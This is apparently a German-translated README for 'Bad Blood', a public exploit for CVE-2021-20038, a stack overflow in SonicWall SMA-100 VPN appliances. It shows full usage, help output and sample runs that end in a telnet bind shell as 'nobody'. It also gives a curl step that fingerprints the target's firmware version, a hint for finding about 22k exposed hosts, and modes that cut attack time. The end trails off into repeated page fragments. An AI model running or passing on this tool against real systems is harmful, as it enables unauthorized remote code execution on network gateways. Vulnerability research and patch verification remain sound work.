Bad Blood

Bad Blood ist ein Exploit für CVE-2021-20038, einen stack-basierten Pufferüberlauf in der httpd-Binärdatei von SMA-100-Serien-Systemen mit Firmware-Versionen 10.2.1.x. Ich habe viele der technischen Details hier dokumentiert:

AttackerKB CVE-2021-20038

Der Exploit öffnet, wie geschrieben, eine Telnet-Bind-Shell auf Port 1270. Ein Angreifer, der sich mit der Shell verbindet, erhält Ausführung als nobody.

Beispielausgabe```

albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 01:15:12 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

## Unterstützte Versionen

| Version | Unterstützt | Getestet | Getestetes Ziel |
| - | - | - | - |
| 10.2.1.2-24sv | Ja | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | Ja | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | Ja | :heavy_check_mark: | SMA 500v ESX |

## Verwendung

Mindestens müssen Sie Folgendes angeben:

* rhost: die IP-Adresse des entfernten Hosts
* lhost: die IP-Adresse des lokalen Hosts
* version: die Version des Ziels.

Bitte lesen Sie die Stabilitätshinweise für zusätzlichen Kontext.

Eine naheliegende Frage ist, wie man die Version des Ziels ermittelt. Eine einfache `curl`-Anfrage an das Ziel zeigt, dass sie die Versionsnummer für die `css`- und `js`-Versionierung verwenden.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>

Das Metasploit-Modul für CVE-2021-20039 parst dies, aber ich hatte nicht die Energie, es für diesen Exploit zu tun. Beachte, dass ich glaube, dass der „Server: SonicWall SSL-VPN Web Server“ das zuverlässigste Signal ist, wenn du deine Umgebung nach diesen Dingen durchsuchst. Etwa 22k im Januar 2022.

Hilfe-Ausgabe```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

### --addr vs. --top-addr vs. keine Option

Es gibt drei Hauptbetriebsmodi. Der erste ist der erwartete Modus (Adressraten). Die zweiten beiden dienen hauptsächlich zu Testzwecken.

#### Ich kenne keine Adressen!

Dies ist der Standardzustand und kein Problem! Wir raten einfach eine Menge.

#### Ich kenne die Adresse des Stapelendes (Top of the Stack)!

Großartig! Wenn du maps cat-en oder andere Magie betreiben kannst:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0          [stack]

Sie können den Parameter --top_addr verwenden und die Angriffszeit auf nur wenige Sekunden reduzieren!``` albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

badblood

Beliebteste

Bad Blood

Beispielausgabe```

Hilfe-Ausgabe```